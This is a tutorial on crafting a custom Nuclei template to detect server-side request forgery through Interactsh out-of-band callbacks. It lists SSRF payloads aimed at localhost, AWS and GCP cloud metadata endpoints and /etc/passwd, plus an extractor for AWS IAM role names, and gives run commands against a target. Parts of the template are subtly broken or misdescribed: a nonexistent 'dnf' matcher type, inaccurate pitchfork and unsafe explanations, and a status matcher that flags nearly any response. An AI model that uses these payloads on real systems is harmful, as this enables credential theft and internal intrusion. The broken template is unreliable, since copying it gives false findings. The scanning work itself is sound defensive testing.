Detecting Server-Side Request Forgery (SSRF) often requires tailored approaches beyond generic scanners. Custom Nuclei templates provide the granular control needed to probe for SSRF vulnerabilities, especially when dealing with unique application logic or specific internal network targets. This direct, practical guide details the methodology for crafting effective Nuclei templates to uncover these critical flaws.

SSRF Mechanics and Nuclei's Role

SSRF exploits vulnerabilities where a server-side application fetches a remote resource based on a user-provided URL without proper validation. This allows an attacker to manipulate the server into making requests to internal systems, localhost, private IP ranges, or cloud metadata endpoints. Common SSRF attack scenarios include accessing internal services, cloud metadata theft (e.g., AWS, GCP, Azure), bypassing firewalls, and interacting with APIs.

The most reliable method for detecting SSRF, especially blind variants, is through Out-of-Band (OOB) interaction. This involves enticing the vulnerable server to connect to an external, attacker-controlled service (like a DNS or HTTP server) that can log the interaction. ProjectDiscovery's Nuclei, a fast and extensible vulnerability scanner, excels in this domain. Its YAML-based templating engine allows pentesters to define precise HTTP requests, embed OOB payloads, and then match for corresponding interactions received by a tool like Interactsh.

Out-of-Band (OOB) Detection with Interactsh

Interactsh is a client/server tool designed specifically to detect external interactions across various protocols like DNS, HTTP, HTTPS, and SMTP. When integrated with Nuclei, it automates the process of generating unique OOB URLs and correlating incoming interactions back to the specific Nuclei template and request that triggered them. This eliminates the need for manual monitoring of various listeners.

Anatomy of an SSRF Nuclei Template

A Nuclei template is a YAML file that defines the request to send and the rules for identifying a vulnerability in the response. For SSRF detection, a template typically includes:

  • id and info: Unique identifier and metadata (name, author, severity, description, tags).
  • requests: Defines the HTTP request(s) to be sent, including method, path, headers, and body.
  • payloads: A list of values to inject into request parameters or headers, crucial for probing different SSRF vectors.
  • matchers: Rules to evaluate the HTTP response or OOB interactions to confirm the vulnerability.
  • extractors: (Optional) To pull specific data from the response body, like cloud IAM roles.

Key Template Directives for SSRF

  • method: HTTP method (GET, POST, etc.).
  • path: The URL path. Can include dynamic variables like {{BaseURL}} or specific parameters to inject payloads.
  • raw: Allows full control over the HTTP request, useful for complex or malformed requests.
  • unsafe: true: Enables Nuclei's rawhttp client for highly customized or non-RFC compliant requests, which can be useful for certain bypasses.
  • {{interactsh-url}}: The placeholder for OOB payloads. Nuclei replaces this with a unique Interactsh URL at runtime.
  • payloads: Define an inline list of payloads or reference an external wordlist.
  • attack: pitchfork: When multiple payload lists are used, `pitchfork` attack type applies each payload from one list to all values from another (or iterates individually if a single list is used with dynamic insertion).
  • matchers-condition: or / and: Defines how multiple matchers are evaluated. For SSRF, often `or` is used to catch different types of successful interactions (e.g., file read, OOB DNS, OOB HTTP).
  • type: dnf or type: http with part: interactsh_protocol: Used in matchers to detect DNS or HTTP interactions on Interactsh.

Crafting the Custom SSRF Template

Let's build a template that probes for common SSRF vulnerabilities, including access to internal resources and OOB interactions. We'll target parameters that might be susceptible to URL injection.

Initial Template Structure

Begin with basic template information:

id: custom-ssrf-detector
info:
  name: Custom Server-Side Request Forgery (SSRF) Detector
  author: pentester
  severity: high
  description: Detects potential SSRF vulnerabilities by probing for internal resources and OOB interaction.
  tags: ssrf, oob, custom, network, cloud

requests:
  - raw:
      - |
        GET /api/proxy?url={{payload}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
        Accept: */*

This template assumes a common vulnerable endpoint like /api/proxy?url=. The {{payload}} placeholder will be replaced by our defined SSRF payloads.

Adding SSRF Payloads

The payloads section is critical. We'll include a mix of internal IP addresses, file inclusions, and cloud metadata service endpoints. Tools like Zondex can be invaluable during the reconnaissance phase to identify potential targets and parameters that may be susceptible to SSRF, such as image proxy endpoints or URL preview services, before crafting these specific payloads.

            payloads:
              url_payloads:
                - "http://127.0.0.1/admin"
                - "http://localhost/server-status"
                - "http://169.254.169.254/latest/meta-data/" # AWS IMDSv1 endpoint
                - "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip" # GCP IMDS
                - "file:///etc/passwd" # Local file inclusion
                - "http://{{interactsh-url}}" # OOB HTTP interaction
                - "dns://{{interactsh-url}}" # OOB DNS interaction (often less filtered)
            attack: pitchfork
            unsafe: true # Allow interaction with internal IPs and raw HTTP

Here, attack: pitchfork ensures each payload from url_payloads is tested individually within the url parameter. The unsafe: true directive is important when probing internal IP addresses or malformed requests. AWS and GCP metadata service IP addresses (169.254.169.254 and metadata.google.internal respectively) are common targets for cloud environments to retrieve sensitive instance data.

Implementing Matchers for Detection

To detect successful SSRF, we need matchers for both direct responses (e.g., reading /etc/passwd) and OOB interactions (via Interactsh).

            matchers-condition: or
            matchers:
              - type: regex
                part: body
                regex:
                  - "(root|daemon|bin):x:[0-9]{1,5}:[0-9]{1,5}" # file:///etc/passwd detection
                condition: and
                name: file_passwd_read

              - type: status
                status:
                  - 200
                  - 403
                  - 500
                condition: and
                name: internal_resource_access

              - type: dnf # DNS interaction
                name: interactsh_dns_match
                condition: and
                interactsh: true

              - type: http # HTTP interaction
                name: interactsh_http_match
                condition: and
                interactsh: true

The matchers-condition: or ensures that if *any* of these conditions are met, the vulnerability is reported. We look for a regex pattern indicative of /etc/passwd content, common HTTP status codes (200, 403, 500) that might suggest access to an internal service, and crucially, DNS or HTTP interactions registered by Interactsh. The interactsh: true flag within a matcher tells Nuclei to monitor for OOB interactions related to that specific request.

Extracting Sensitive Data

For cloud metadata, extracting specific details can confirm the exploit and provide valuable information.

            extractors:
              - type: regex
                part: body
                regex:
                  - "iam/security-credentials/([a-zA-Z0-9_-]+)"
                name: aws_iam_role
                condition: and

This extractor attempts to pull AWS IAM role names from the response body, a common piece of information found at 169.254.169.254/latest/meta-data/iam/security-credentials/.

Full Custom Nuclei SSRF Template

id: custom-ssrf-detector
info:
  name: Custom Server-Side Request Forgery (SSRF) Detector
  author: pentester
  severity: high
  description: Detects potential SSRF vulnerabilities by probing for internal resources and OOB interaction.
  tags: ssrf, oob, custom, network, cloud

requests:
  - raw:
      - |
        GET /api/proxy?url={{payload}} HTTP/1.1
        Host: {{Hostname}}
        User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
        Accept: */*

    payloads:
      url_payloads:
        - "http://127.0.0.1/admin"
        - "http://localhost/server-status"
        - "http://169.254.169.254/latest/meta-data/"
        - "http://metadata.google.internal/computeMetadata/v1/instance/network-interfaces/0/access-configs/0/external-ip"
        - "file:///etc/passwd"
        - "http://{{interactsh-url}}"
        - "dns://{{interactsh-url}}"

    attack: pitchfork
    unsafe: true

    matchers-condition: or
    matchers:
      - type: regex
        part: body
        regex:
          - "(root|daemon|bin):x:[0-9]{1,5}:[0-9]{1,5}"
        condition: and
        name: file_passwd_read

      - type: status
        status:
          - 200
          - 403
          - 500
        condition: and
        name: internal_resource_access

      - type: dnf
        name: interactsh_dns_match
        condition: and
        interactsh: true

      - type: http
        name: interactsh_http_match
        condition: and
        interactsh: true

    extractors:
      - type: regex
        part: body
        regex:
          - "iam/security-credentials/([a-zA-Z0-9_-]+)"
        name: aws_iam_role
        condition: and

Running and Interpreting Results

To execute this template, save it as custom-ssrf-detector.yaml. Ensure you have Nuclei and interactsh-client installed and running. If you're using a public Interactsh server, Nuclei will automatically connect. For sensitive engagements, consider self-hosting Interactsh.

Start the Interactsh client in a separate terminal:

interactsh-client -v

Then, run Nuclei with your custom template:

nuclei -t custom-ssrf-detector.yaml -u https://target.com/ -debug -silent

Replace https://target.com/ with your actual target URL. The -debug flag provides verbose output, and -silent suppresses informational messages to focus on findings. If your target is an entire list of URLs, use -l urls.txt instead of -u. For routing traffic through specific proxy chains, especially when operating from restricted networks or masking origin IP, consider integrating GProxy with Nuclei via its proxy flags.

Successful hits will show up in both Nuclei's output and the interactsh-client terminal. Look for entries indicating DNS queries or HTTP requests to your unique Interactsh domain. Nuclei's output will detail which matcher triggered, for example, [custom-ssrf-detector] [high] https://target.com/api/proxy?url=http://INTERACTSH_DOMAIN.tld -> interactsh_dns_match. Direct response-based detections, like reading /etc/passwd, will also be clearly indicated, potentially including extracted content.

This approach to custom template creation with Nuclei and Interactsh enables precise and effective detection of SSRF, allowing for a more thorough assessment than off-the-shelf solutions. Incorporating such custom checks into automated web security testing pipelines, perhaps orchestrated by platforms like Secably, can significantly enhance an organization's continuous vulnerability monitoring capabilities.